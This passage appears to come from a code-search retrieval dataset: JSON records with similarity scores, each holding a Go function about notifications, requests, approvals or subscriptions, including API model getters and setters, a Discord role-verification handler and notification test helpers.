if val != nil {\n return val.(*bool)\n }\n return nil\n}", "title": "" }, { "docid": "ae9569012c7e48bfdc0d99781c73e93c", "score": "0.48993915", "text": "func (actus Actus) Pending(lei string) bool{\n\tif lei == \"*\"{\n\t\treturn true\n\t}else{\n\t\treturn !actus.Validated && lei == actus.ContractPartyID\n\t}\n}", "title": "" }, { "docid": "65d70161dc10fb90cef893765f2bd2a6", "score": "0.48993498", "text": "func (*NullNotifier) NotifyNewPullRequest(ctx context.Context, pr *issues_model.PullRequest, mentions []*user_model.User) {\n}", "title": "" }, { "docid": "85a3c1b6e57698290d30b5cd85d8ee54", "score": "0.48952487", "text": "func Requested() bool {\n\tselect {\n\tcase <-InProgress():\n\t\treturn true\n\tdefault:\n\t\treturn false\n\t}\n}", "title": "" }, { "docid": "9bb43449e71c07e376ef57851a558a8f", "score": "0.48890227", "text": "func (service channelNotificationService) CheckPermissionByNotificationID(channelNotificationID int64, myUserID int64) (bool, error) {\n\tstmt := `\n\t\tMATCH (u:User)\n\t\tWHERE ID(u)={myUserID}\n\t\tMATCH(c:Channel)-[:CREATE]->(n:ChannelNotification)\n\t\tWHERE ID(n)={channelNotificationID}\n\t\tRETURN\n\t\t\texists((u)-[:MANAGE]->(c)) AS is_admin\n\t\t`\n\tparams := neoism.Props{\n\t\t\"channelNotificationID\": channelNotificationID,\n\t\t\"myUserID\": myUserID,\n\t}\n\n\tres := []struct {\n\t\tIsAdmin bool `json:\"is_admin\"`\n\t}{}\n\tcq := neoism.CypherQuery{\n\t\tStatement: stmt,\n\t\tParameters: params,\n\t\tResult: &res,\n\t}\n\n\terr := conn.Cypher(&cq)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tif len(res) > 0 {\n\t\treturn res[0].IsAdmin, nil\n\t}\n\treturn false, nil\n}", "title": "" }, { "docid": "bfd291f7eba1f0db07ea808d039b2186", "score": "0.4888064", "text": "func NotificationNoData() *Notification {\n\treturn &Notification{\n\t\tToken: token.New(),\n\t\tType: NTNoAssertionsExist,\n\t}\n}", "title": "" }, { "docid": "14e8285f2675b62e822bc28e07dbcbb0", "score": "0.48874405", "text": "func (m *EmailThreatSubmissionPolicy) GetIsAskMeEnabledForUsers()(*bool) {\n val, err := m.GetBackingStore().Get(\"isAskMeEnabledForUsers\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*bool)\n }\n return nil\n}", "title": "" }, { "docid": "e8118474b841ea515a2035c7e081c3da", "score": "0.4868335", "text": "func (m *AccessPackageAssignmentRequestRequirements) GetIsApprovalRequiredForAdd()(*bool) {\n val, err := m.GetBackingStore().Get(\"isApprovalRequiredForAdd\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*bool)\n }\n return nil\n}", "title": "" }, { "docid": "cce60c617c1bdc632c163bd2ab2b5a35", "score": "0.48681748", "text": "func (me TxsdMethodparamChoice) IsReq() bool { return me == \"req\" }", "title": "" }, { "docid": "0adf16cadc326c9059c459b5f6fb4850", "score": "0.48591986", "text": "func NotifyRequestPayloadMatcher(messageID *uuid.UUID) cassette.Matcher {\n\treturn func(httpRequest *http.Request, cassetteRequest cassette.Request) bool {\n\t\t// check the request URI and method\n\t\tif httpRequest.Method != cassetteRequest.Method ||\n\t\t\t(httpRequest.URL != nil && httpRequest.URL.String() != cassetteRequest.URL) {\n\t\t\tlog.Debug(nil, map[string]interface{}{\n\t\t\t\t\"httpRequest_method\": httpRequest.Method,\n\t\t\t\t\"cassetteRequest_method\": cassetteRequest.Method,\n\t\t\t\t\"httpRequest_url\": httpRequest.URL,\n\t\t\t\t\"cassetteRequest_url\": cassetteRequest.URL,\n\t\t\t}, \"Cassette method/url doesn't match with the current request\")\n\t\t\treturn false\n\t\t}\n\n\t\tpayload := client.SendNotifyPayload{}\n\t\tif err := json.NewDecoder(strings.NewReader(cassetteRequest.Body)).Decode(&payload); err != nil {\n\t\t\tlog.Error(nil, map[string]interface{}{\"error\": err.Error()}, \"Cassette request payload doesn't match with notification payload\")\n\t\t\treturn false\n\t\t}\n\n\t\tif messageUUID, e := uuid2.FromString(messageID.String()); e == nil && payload.Data != nil {\n\t\t\treturn *payload.Data.ID == messageUUID\n\n\t\t}\n\n\t\treturn false\n\t}\n}", "title": "" }, { "docid": "b361c250d466279e17ad1aeb72575dc2", "score": "0.48578787", "text": "func (t ManageArbitraryUsersPreferences) SendNotificationToUser(notificationsServer servers.Notifications, clientToken uaa.Token, smtpServer *servers.SMTP) {\n body, err := json.Marshal(map[string]string{\n \"kind_id\": \"unsubscribe-acceptance-test\",\n \"html\": \"<p>this is an acceptance test</p>\",\n \"subject\": \"my-special-subject\",\n })\n if err != nil {\n panic(err)\n }\n\n request, err := http.NewRequest(\"POST\", notificationsServer.UsersPath(\"user-123\"), bytes.NewBuffer(body))\n if err != nil {\n panic(err)\n }\n\n request.Header.Set(\"Authorization\", \"Bearer \"+clientToken.Access)\n\n response, err := http.DefaultClient.Do(request)\n if err != nil {\n panic(err)\n }\n\n // Confirm the request response looks correct\n Expect(response.StatusCode).To(Equal(http.StatusOK))\n\n body, err = ioutil.ReadAll(response.Body)\n if err != nil {\n panic(err)\n }\n\n responseJSON := []map[string]string{}\n err = json.Unmarshal(body, &responseJSON)\n if err != nil {\n panic(err)\n }\n\n Expect(len(responseJSON)).To(Equal(1))\n responseItem := responseJSON[0]\n Expect(responseItem[\"status\"]).To(Equal(\"queued\"))\n Expect(responseItem[\"recipient\"]).To(Equal(\"user-123\"))\n Expect(GUIDRegex.MatchString(responseItem[\"notification_id\"])).To(BeTrue())\n\n // Confirm the email message was delivered correctly\n Eventually(func() int {\n return len(smtpServer.Deliveries)\n }, 5*time.Second).Should(Equal(1))\n delivery := smtpServer.Deliveries[0]\n\n env := config.NewEnvironment()\n Expect(delivery.Sender).To(Equal(env.Sender))\n Expect(delivery.Recipients).To(Equal([]string{\"user-123@example.com\"}))\n\n data := strings.Split(string(delivery.Data), \"\\n\")\n Expect(data).To(ContainElement(\"X-CF-Client-ID: notifications-sender\"))\n Expect(data).To(ContainElement(\"X-CF-Notification-ID: \" + responseItem[\"notification_id\"]))\n Expect(data).To(ContainElement(\"Subject: CF Notification: my-special-subject\"))\n Expect(data).To(ContainElement(`<p>The following \"Unsubscribe Acceptance Test\" notification was sent to you directly by the`))\n Expect(data).To(ContainElement(` \"Notifications Sender\" component of Cloud Foundry:</p>`))\n Expect(data).To(ContainElement(\"<p>this is an acceptance test</p>\"))\n}", "title": "" }, { "docid": "ae2243fceac6cecbe68ec38150773f4d", "score": "0.48498958", "text": "func (o *InlineObject7) GetDoNotNotify() bool {\n\tif o == nil || o.DoNotNotify == nil {\n\t\tvar ret bool\n\t\treturn ret\n\t}\n\treturn *o.DoNotNotify\n}", "title": "" }, { "docid": "4bf35151bd7bbca0d37688f1bb9f8ff5", "score": "0.48483714", "text": "func (c *Service) Notify(evt Notification) error {\n\treq, err := http.NewRequest(\"POST\", \"https://realtime.ifttt.com/v1/notifications\", bytes.NewReader(evt.marshal()))\n\tif err != nil {\n\t\treturn nil\n\t}\n\treq.Header.Set(\"Accept\", \"application/json\")\n\treq.Header.Set(\"Accept-Charset\", \"utf-8\")\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tuid, err := uuid.NewV1()\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"X-Request-ID\", uid.String())\n\treq.Header.Set(\"IFTTT-Service-Key\", c.ServiceKey)\n\n\tclient := new(http.Client)\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif resp.StatusCode != 200 {\n\t\tresponse, err := ioutil.ReadAll(resp.Body)\n\t\tresp.Body.Close()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn fmt.Errorf(\"Remote returned code %d with: %s\", resp.StatusCode, string(response))\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c40cd21e73ce2fd3f955d272b8194a20", "score": "0.48452577", "text": "func (x *Notification) Show() (id uint32, err error) {\n\tconn, err := dbus.SessionBus()\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// We need to convert the interface type of the map to dbus.Variant as\n\t// people dont want to have to import the dbus package just to make use\n\t// of the notification hints.\n\tfor k, v := range x.Hints {\n\t\tx.hints[k] = dbus.MakeVariant(v)\n\t}\n\n\tvar d = make(chan *dbus.Call, 1)\n\tvar o = conn.Object(DbusInterfacePath, DbusObjectPath)\n\to.GoWithContext(context.Background(),\n\t\tCallNotify,\n\t\t0,\n\t\td,\n\t\tx.AppName,\n\t\tx.ReplacesID,\n\t\tx.AppIcon,\n\t\tx.Summary,\n\t\tx.Body,\n\t\tx.Actions,\n\t\tx.hints,\n\t\tx.Timeout)\n\terr = (<-d).Store(&id)\n\treturn\n}", "title": "" }, { "docid": "3a4079de780efa2738f15f6f6f780d99", "score": "0.4843118", "text": "func Notification() string { return \"/notification\" }", "title": "" }, { "docid": "f8190c8c1a4b54bc85ac789349b663af", "score": "0.4834019", "text": "func (n *Notifier) Notify(ctx context.Context, cli *client.Client, desired *core.DesiredState, check time.Duration) error {\n\t// Create a periodic check in case events either miss or the\n\t// state checked in the controller does not accurately represent\n\t// the change in state of the system.\n\tperiodicChecker := time.NewTicker(check)\n\n\tfeedback := newFeedback(ctx, cli)\n\tfor {\n\t\tselect {\n\t\tcase event := <-feedback.Events:\n\t\t\t// check if the event recieved is a registered event or not\n\t\t\tif _, eventRegistered := n.registeredEvenets[event.Action]; !eventRegistered {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tn.Notification <- event.Action\n\t\tcase err := <-feedback.Errors:\n\t\t\treturn err\n\t\tcase <-periodicChecker.C:\n\t\t\tn.Notification <- checkEvent\n\t\t}\n\t}\n}", "title": "" }, { "docid": "e23c40ce0663608880a3aa023f239e78", "score": "0.48283666", "text": "func (t Tag) isRequest() bool {\n\treturn ((t >> TypeFlagBit) & 1) == 0\n}", "title": "" }, { "docid": "259bec8ebac6ffb356caaec85c18c0d9", "score": "0.48276755", "text": "func (m *EmailThreatSubmissionPolicy) SetIsReviewEmailNotificationEnabled(value *bool)() {\n err := m.GetBackingStore().Set(\"isReviewEmailNotificationEnabled\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "8462834ab0ac672b366d8cbb3126ca1b", "score": "0.4820846", "text": "func (v *RecordActivityTaskStartedRequest) IsSetPollRequest() bool {\n\treturn v != nil && v.PollRequest != nil\n}", "title": "" }, { "docid": "60c1abe2defa39e5a5e1f61403c4d6ec", "score": "0.4811156", "text": "func (m *Event) GetResponseRequested()(*bool) {\n return m.responseRequested\n}", "title": "" }, { "docid": "46682c5eacd84c7defc58ac34a22a253", "score": "0.48107615", "text": "func sendNotification(n notifier) {\n\tn.notify()\n}", "title": "" }, { "docid": "46682c5eacd84c7defc58ac34a22a253", "score": "0.48107615", "text": "func sendNotification(n notifier) {\n\tn.notify()\n}", "title": "" }, { "docid": "876d6f3cdbb8363942283859d81e4a62", "score": "0.48052847", "text": "func (e *Encoder) EncodeNotification(n Notification) error {\n\treturn (*json.Encoder)(e).Encode(request{\n\t\tMethod: n.Method,\n\t\tParams: n.Params,\n\t})\n}", "title": "" }, { "docid": "375114d9a6b1d80d1653986ba6561a09", "score": "0.47992277", "text": "func (d *Dota2) RequestNotificationsMarkRead() {\n\treq := &protocol.CMsgGCNotificationsMarkReadRequest{}\n\td.write(uint32(protocol.EDOTAGCMsg_k_EMsgGCNotificationsMarkReadRequest), req)\n}", "title": "" }, { "docid": "c86a2215a79f73e4fbac3c3e05f1a58c", "score": "0.47989023", "text": "func (m *AccessPackageAssignmentRequestRequirements) SetIsApprovalRequiredForAdd(value *bool)() {\n err := m.GetBackingStore().Set(\"isApprovalRequiredForAdd\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "3b771b7bdbb4824d1c504708308a4663", "score": "0.47953853", "text": "func (r RequestID) IsRequest() bool {\n\tif r == nil {\n\t\treturn false\n\t}\n\treturn !r.IsResponse()\n}", "title": "" }, { "docid": "0c64eb75c2ce962b37476e0f06e31352", "score": "0.4790683", "text": "func (v *RecordDecisionTaskStartedRequest) IsSetPollRequest() bool {\n\treturn v != nil && v.PollRequest != nil\n}", "title": "" }, { "docid": "cc9f108f1f2a18a5fa10493921a066b7", "score": "0.478175", "text": "func CanAttend(meetings [][]int) bool {\n\treturn false\n}", "title": "" }, { "docid": "994b95afc998fea5b103af6d9ac8651b", "score": "0.47810736", "text": "func (m *AccessPackageAssignmentRequestRequirements) SetIsApprovalRequiredForUpdate(value *bool)() {\n err := m.GetBackingStore().Set(\"isApprovalRequiredForUpdate\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "5770353365546cd6581f8eea47646349", "score": "0.47789705", "text": "func (client QueriesClient) GetBooleanTrueSender(req *http.Request) (*http.Response, error) {\n return autorest.SendWithSender(client, req)\n}", "title": "" }, { "docid": "5c4e62fc314c1a02d8ffa56ac6e350d9", "score": "0.47773394", "text": "func (o *UpdateLoyaltyProgram) HasDefaultPending() bool {\n\tif o != nil && o.DefaultPending != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "18dd62bc2699e7c7dfcdad6971954c16", "score": "0.47748825", "text": "func VerificationReaction(s *discordgo.Session, e *discordgo.MessageReactionAdd) {\n\t// Ignore self\n\tif e.UserID == s.State.User.ID {\n\t\treturn\n\t}\n\n\tif !strings.Contains(config.ApproveReaction, e.Emoji.APIName()) || !strings.Contains(config.DenyReaction, e.Emoji.APIName()) {\n\t\t// Ignore all other reactions\n\t\treturn\n\t}\n\n\t// Get request data\n\treqMsg, err := s.ChannelMessage(e.ChannelID, e.MessageID)\n\tif err != nil {\n\t\tlog.Print(err)\n\t\treturn\n\t}\n\n\tif reqMsg.Author.ID != s.State.User.ID {\n\t\treturn\n\t}\n\n\tperms, err := s.UserChannelPermissions(e.UserID, e.ChannelID)\n\tif err != nil {\n\t\teventReplyDel(s, e.ChannelID, fmt.Sprintf(\"Failed to check your perms.\\n```%v```\", err), 5)\n\t}\n\n\tif perms&discordgo.PermissionManageRoles != discordgo.PermissionManageRoles {\n\t\teventReplyDel(s, e.ChannelID, \"You need to have Manage Roles perms to approve/deny this request.\", 5)\n\t\treturn\n\t}\n\n\t// Get guild settings\n\tguildSettings, err := db.GetGuildSettings(e.GuildID)\n\tif err != nil {\n\t\teventReplyDel(s, e.ChannelID, fmt.Sprintf(\"An error occured while fetching guild settings.\\n```%v```\", err), 5)\n\t\treturn\n\t}\n\n\t// Check if this is the verification channel\n\tif guildSettings.VerificationChan != e.ChannelID {\n\t\treturn\n\t}\n\n\trequestData, err := db.GetVerificationMsg(e.MessageID)\n\tif err != nil {\n\t\teventReplyDel(s, e.ChannelID, \"Failed to find a valid request for this message.\", 15)\n\t\treturn\n\t}\n\n\t// Check reaction and message user / assign role\n\tif strings.Contains(config.ApproveReaction, e.Emoji.APIName()) {\n\t\t// Set request as complete\n\t\tdb.CompleteUserRequest(requestData.UserID, requestData.RequestChanID, requestData.RoleRequested.ID)\n\n\t\t// Give role to user\n\t\terr := s.GuildMemberRoleAdd(e.GuildID, requestData.UserID, requestData.RoleRequested.ID)\n\t\tif err != nil {\n\t\t\teventReplyDel(s, e.ChannelID, fmt.Sprintf(\"Failed to give the role. Please do it manually and report this issue.\\n```%v```\", err), 15)\n\t\t}\n\n\t\t// Edit request message\n\t\ts.ChannelMessageEdit(e.ChannelID, e.MessageID, fmt.Sprintf(\"%s\\nAPPROVED by <@%v>\", reqMsg.Content, e.UserID))\n\t\ts.MessageReactionsRemoveAll(e.ChannelID, e.MessageID)\n\n\t\t// Message user\n\t\tif config.MessageOnDeny {\n\t\t\tdmChan, err := s.UserChannelCreate(requestData.UserID)\n\t\t\tif err != nil {\n\t\t\t\t// User DMs closed\n\t\t\t\treturn\n\t\t\t}\n\t\t\ts.ChannelMessageSend(dmChan.ID, fmt.Sprintf(\"Your request for %v role was approved.\", requestData.RoleRequested.Name))\n\t\t}\n\n\t\t// Delete verification mesasge data from db\n\t\tdb.DelVerificationMsg(requestData)\n\t\treturn\n\t}\n\tif strings.Contains(config.DenyReaction, e.Emoji.APIName()) {\n\t\t// Set request as complete\n\t\tdb.CompleteUserRequest(requestData.UserID, requestData.RequestChanID, requestData.RoleRequested.ID)\n\n\t\t// Edit request message\n\t\ts.ChannelMessageEdit(e.ChannelID, e.MessageID, fmt.Sprintf(\"%s\\nDENIED by <@%v>\", reqMsg.Content, e.UserID))\n\t\ts.MessageReactionsRemoveAll(e.ChannelID, e.MessageID)\n\n\t\t// Message user\n\t\tif config.MessageOnDeny {\n\t\t\tdmChan, err := s.UserChannelCreate(requestData.UserID)\n\t\t\tif err != nil {\n\t\t\t\t// User DMs closed\n\t\t\t\treturn\n\t\t\t}\n\t\t\ts.ChannelMessageSend(dmChan.ID, fmt.Sprintf(\"Your request for %v role was denied.\", requestData.RoleRequested.Name))\n\t\t}\n\n\t\t// Delete verification mesasge data from db\n\t\tdb.DelVerificationMsg(requestData)\n\t\treturn\n\t}\n\tlog.Print(\"invalid reaction\")\n}", "title": "" }, { "docid": "023a779c3d8825a29a324cf0cae7e6a4", "score": "0.47697645", "text": "func GetNotification() *Notification {\n\treturn &Notification{\n\t\tToken: token.New(),\n\t\tType: NTNoAssertionsExist,\n\t\tData: \"Notification information\",\n\t}\n}", "title": "" }, { "docid": "4d792c0e1befdc643a5356c7234a3731", "score": "0.4764144", "text": "func ShowMessageRequest(title string) Expectation {\n\tcheck := func(s State) Verdict {\n\t\tif len(s.showMessageRequest) == 0 {\n\t\t\treturn Unmet\n\t\t}\n\t\t// Only check the most recent one.\n\t\tm := s.showMessageRequest[len(s.showMessageRequest)-1]\n\t\tif len(m.Actions) == 0 || len(m.Actions) > 1 {\n\t\t\treturn Unmet\n\t\t}\n\t\tif m.Actions[0].Title == title {\n\t\t\treturn Met\n\t\t}\n\t\treturn Unmet\n\t}\n\treturn Expectation{\n\t\tCheck: check,\n\t\tDescription: \"received ShowMessageRequest\",\n\t}\n}", "title": "" }, { "docid": "b0419f5ca5eb4b1b0cb5521040540513", "score": "0.4762476", "text": "func (m *EmailThreatSubmissionPolicy) GetIsCustomizedMessageEnabledForPhishing()(*bool) {\n val, err := m.GetBackingStore().Get(\"isCustomizedMessageEnabledForPhishing\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.(*bool)\n }\n return nil\n}", "title": "" }, { "docid": "aab962269767539faf5a148b1138950d", "score": "0.47576547", "text": "func SendNotification() {\n\n}", "title": "" }, { "docid": "05bb8d6dc54b9888432cae8ed8a136a7", "score": "0.47555217", "text": "func notifyReady() {\n\tnotify.Init(appName)\n\tnotif := notify.NotificationNew(appName, rdyMsg, \"\")\n\tnotif.SetTimeout(notifTimeout)\n\tif notif == nil {\n\t\tfmt.Println(\"Failed to create notification\")\n\t\treturn\n\t}\n\n\tif err := notif.Show(); err != nil && err.GError != nil {\n\t\tfmt.Printf(\"Error showing notification! Error was: %#v\\n\", err)\n\t}\n\n\tif err := notif.Close(); err != nil && err.GError != nil {\n\t\tfmt.Printf(\"Error closing notification channel! Error was: %#v\\n\", err)\n\t}\n}", "title": "" }, { "docid": "66baa52c95e587bbc4cb30208d9ec895", "score": "0.47484097", "text": "func (m *Event) SetResponseRequested(value *bool)() {\n m.responseRequested = value\n}", "title": "" }, { "docid": "46ebcbff6f2298ff757ede14ce3216bb", "score": "0.47449034", "text": "func (s *Service) Block(request *messages.NotificationRequest) (bool, error) {\n\tif request.Requestor == \"\" || request.Target == \"\" {\n\t\treturn false, errors.New(\"Requestor or Target is undefined\")\n\t}\n\n\tvar connection model.Connection\n\tif err := s.db.Where(\"email1 =? AND email2=?\", request.Requestor, request.Target).First(&connection).Error; err != nil {\n\t\tglog.Errorf(\"Error when create subscibe request,error : %s\", err.Error())\n\t\treturn false, err\n\t}\n\n\tif connection.ID == uuid.Nil {\n\t\ttx := s.db.Begin()\n\t\terror1 := tx.Create(&model.Connection{Email1: request.Requestor, Email2: request.Target, Blocked: true, Subscribe: false}).Error\n\n\t\tif error1 != nil {\n\t\t\tglog.Errorf(\"error create connection %s\", error1.Error())\n\t\t\ttx.Rollback()\n\t\t\treturn true, nil\n\t\t}\n\t\ttx.Commit()\n\n\t\treturn true, nil\n\t}\n\n\tif connection.Blocked {\n\t\treturn false, errors.New(\"Already Blocked\")\n\t}\n\n\ttx := s.db.Begin()\n\tconnection.Blocked = true\n\tconnection.Subscribe = false\n\n\tif err := tx.Save(connection).Error; err != nil {\n\t\ttx.Rollback()\n\t\tglog.Errorf(\"Error when create subscibe request,error : %s\", err.Error())\n\t\treturn false, err\n\t}\n\n\ttx.Commit()\n\n\treturn true, nil\n}", "title": "" }, { "docid": "110132ad78751e832f0a587861b8b971", "score": "0.47409704", "text": "func (ec *executionContext) _Abonemen_notification(ctx context.Context, field graphql.CollectedField, obj *models.Abonemen) (ret graphql.Marshaler) {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tec.Error(ctx, ec.Recover(ctx, r))\n\t\t\tret = graphql.Null\n\t\t}\n\t}()\n\tfc := &graphql.FieldContext{\n\t\tObject: \"Abonemen\",\n\t\tField: field,\n\t\tArgs: nil,\n\t\tIsMethod: false,\n\t}\n\n\tctx = graphql.WithFieldContext(ctx, fc)\n\tresTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) {\n\t\tctx = rctx // use context from middleware stack in children\n\t\treturn obj.Notification, nil\n\t})\n\tif err != nil {\n\t\tec.Error(ctx, err)\n\t\treturn graphql.Null\n\t}\n\tif resTmp == nil {\n\t\tif !graphql.HasFieldError(ctx, fc) {\n\t\t\tec.Errorf(ctx, \"must not be null\")\n\t\t}\n\t\treturn graphql.Null\n\t}\n\tres := resTmp.(bool)\n\tfc.Result = res\n\treturn ec.marshalNBoolean2bool(ctx, field.Selections, res)\n}", "title": "" }, { "docid": "0a0008a25db9c194d08ee90b6a5ef618", "score": "0.47370648", "text": "func (b *Mattermost) NotificationsEnabled(channelID string) bool {\n\tchannel, exists := b.getChannels()[channelID]\n\tif !exists {\n\t\treturn false\n\t}\n\n\treturn channel.notify\n}", "title": "" }, { "docid": "3adedb5da942f2d6d73cfc7d4c154795", "score": "0.473597", "text": "func (m *EmailThreatSubmissionPolicy) SetIsCustomizedNotificationSenderEnabled(value *bool)() {\n err := m.GetBackingStore().Set(\"isCustomizedNotificationSenderEnabled\", value)\n if err != nil {\n panic(err)\n }\n}", "title": "" }, { "docid": "efb6532dc8e662ebdbb8666658188eda", "score": "0.47265393", "text": "func (s *Service) Subscribe(request *messages.NotificationRequest) (bool, error) {\n\tif request.Requestor == \"\" || request.Target == \"\" {\n\t\treturn false, errors.New(\"Requestor or Target is undefined\")\n\t}\n\n\tvar connection model.Connection\n\tif err := s.db.Where(\"email1 =? AND email2=?\", request.Requestor, request.Target).First(&connection).Error; err != nil {\n\t\tglog.Errorf(\"Error when create subscibe request,error : %s\", err.Error())\n\t\treturn false, err\n\t}\n\n\tif connection.ID == uuid.Nil {\n\t\treturn false, errors.New(\"No friend connection found\")\n\t}\n\n\tif connection.Subscribe {\n\t\treturn false, errors.New(\"Already Subscribe\")\n\t}\n\ttx := s.db.Begin()\n\tconnection.Subscribe = true\n\n\tif err := tx.Save(connection).Error; err != nil {\n\t\tglog.Errorf(\"Error when create subscibe request,error : %s\", err.Error())\n\t\treturn false, err\n\t}\n\n\ttx.Commit()\n\n\treturn true, nil\n}", "title": "" }, { "docid": "e73ea3723042a5d8c83e8c2a3cf1f0cb", "score": "0.4718029", "text": "func (ev *eventTracking) isEventAllowed() bool {\n\treturn ev.enabledForAccount || ev.enabledForRequest\n}", "title": "" }, { "docid": "bda62abe06368829a73b71109668b23c", "score": "0.4715208", "text": "func (s *SlackService) CheckNotifyMention(ev *slack.MessageEvent) bool {\n\tchannel := s.Channels[s.FindChannel(ev.Channel)]\n\tswitch channel.Type {\n\tcase ChannelTypeIM:\n\t\treturn true\n\t}\n\n\t// Mentions have the following format:\n\t//\t<@U12345|erroneousboat>\n\t// \t<@U12345>\n\tr := regexp.MustCompile(`\\<@(\\w+\\|*\\w+)\\>`)\n\tmatches := r.FindAllString(ev.Text, -1)\n\tfor _, match := range matches {\n\t\tif strings.Contains(match, s.CurrentUserID) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "613cbc4e3baa974cb891a5dc31e069d3", "score": "0.47102374", "text": "func (o *LicenseNotification) HasReplies() bool {\n\tif o != nil && o.Replies != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "72b8bb82fb937bec5e9f7c5307549ead", "score": "0.4708253", "text": "func (o *SlackIntegrationChannelDisplay) HasNotified() bool {\n\tif o != nil && o.Notified != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "8b38fbabff37cdfa66e44aef339fb5f2", "score": "0.47026563", "text": "func (m *AdminConsentRequestPolicy) SetRemindersEnabled(value *bool)() {\n m.remindersEnabled = value\n}", "title": "" }, { "docid": "8ef1aae0e53c77ad217eb9edbaff2cfd", "score": "0.46934187", "text": "func GetNotification(invite *db.HuntInvitationDB) *Notification {\n\treturn &Notification{\n\t\tHuntInvitationDB: *invite,\n\t\tLinks: &huntInvitationLink{\n\t\t\tAccept: accept{\n\t\t\t\tPath: fmt.Sprintf(\n\t\t\t\t\t\"/hunts/%d/invitations/%d/accept\",\n\t\t\t\t\tinvite.HuntID,\n\t\t\t\t\tinvite.ID,\n\t\t\t\t),\n\t\t\t\tMethod: \"POST\",\n\t\t\t},\n\t\t\tDecline: decline{\n\t\t\t\tPath: fmt.Sprintf(\n\t\t\t\t\t\"/hunts/%d/invitations/%d/decline\",\n\t\t\t\t\tinvite.HuntID,\n\t\t\t\t\tinvite.ID,\n\t\t\t\t),\n\t\t\t\tMethod: \"POST\",\n\t\t\t},\n\t\t\tDelete: delete{\n\t\t\t\tPath: fmt.Sprintf(\n\t\t\t\t\t\"/hunts/%d/invitations/%d/decline\",\n\t\t\t\t\tinvite.HuntID,\n\t\t\t\t\tinvite.ID,\n\t\t\t\t),\n\t\t\t\tMethod: \"POST\",\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "2c7827644189afea404556edc608639b", "score": "0.4691425", "text": "func (m *AccessPackageAssignmentRequestRequirements) SetIsApprovalRequiredForAdd(value *bool)() {\n m.isApprovalRequiredForAdd = value\n}", "title": "" }, { "docid": "d36fafb183c983209d063a1e8b34c24e", "score": "0.46715635", "text": "func RequestLeaderNotification(v1Client corev1.CoreV1Interface, coordinationClient coordinationv1.CoordinationV1Interface, logger log.FieldLogger) (<-chan bool, func(), error) {\n\tlock.Lock()\n\tdefer lock.Unlock()\n\n\tif !started {\n\t\tif err := startLeaderElection(v1Client, coordinationClient, logger); err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tstarted = true\n\t}\n\n\tch := make(chan bool, 1)\n\n\t// Prime it with the fact that we are the leader if we are -- this\n\t// guarantees that the first value sent to the chan will always be true.\n\tif isLeader {\n\t\tch <- true\n\t}\n\n\tnoticeChans = append(noticeChans, ch)\n\treturn ch, func() {\n\t\tlock.Lock()\n\t\tdefer lock.Unlock()\n\n\t\tlogger.Info(\"Unsubscribing leader notice channel\")\n\t\tfor i := range noticeChans {\n\t\t\tif noticeChans[i] == ch {\n\t\t\t\tnoticeChans = append(noticeChans[:i], noticeChans[i+1:]...)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tlogger.Error(\"Could not find leader notice channel to unsubscribe\")\n\t}, nil\n}", "title": "" }, { "docid": "95c58f5773a5aed963b841528453e362", "score": "0.46709517", "text": "func ScheduleNotification(\n\tnotif Notification, g Goal){\n\t\tlog.Print(\"Scheduling\",notif)\n\t\tid := g.Id + notif.Id\n\t\tnew_intent := NotificationIntent{\n\t\t\tNotif : notif,\n\t\t\tGoal : g,\n\t\t\tResolve : func() (bool){\n\t\t\t\tdosend:=false\n\t\t\t\tif notif.ResolveRules==\"at\"{\n\t\t\t\t\tdiff:=time.Since(notif.Time).Seconds()\n\t\t\t\t\tlog.Print(\"diff is\",diff)\n\t\t\t\t\tif diff>-float64(CheckDelay)/1000.{\n\t\t\t\t\t\tdosend=true\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tlog.Print(\"Resolving\",notif)\n\t\t\t\treturn dosend\n\t\t\t},\n\t\t\tNextNotif : func(prev_notif Notification) (Notification,bool){\n\n\t\t\t\tid := \"5adcefbaed9d970d42d33d65\"\n\t\t\t\tstatus:=Get_Pomodoro_User(id)\n\t\t\t\tlog.Print(\"\\n---STATUS\\n\",status)\n\t\t\t\tvar command string\n\t\t\t\tschedule_next:=true\n\t\t\t\tif status==\"work\"{\n\t\t\t\t\tcommand=\"Pomodoro_End\"\n\t\t\t\t}else if status ==\"relax\"{\n\t\t\t\t\tcommand=\"Pomodoro_Start\"\n\t\t\t\t}else{\n\t\t\t\t\tschedule_next = false\n\t\t\t\t}\n\t\t\t\tif schedule_next{\n\n\t\t\t\t\trec:=Record{\n\t\t\t\t\t\tCommand : command,\n\t\t\t\t\t\tType : \"pomodoro\",\n\t\t\t\t\t\tUserId : notif.UserId, // Preserve uid\n\t\t\t\t\t\t// in chained notifications\n\t\t\t\t\t}\n\t\t\t\t\trec2notif := fetchRec2N(rec)\n\t\t\t\t\t//These are programmatically emitted recors\n\t\t\t\t\t// Probably should configure if saving\n\t\t\t\t\trec.Save()\n\t\t\t\t\tnext_notif := rec2notif.Apply(rec,g)\n\t\t\t\t\treturn next_notif , schedule_next\n\t\t\t\t}else{\n\t\t\t\t\treturn 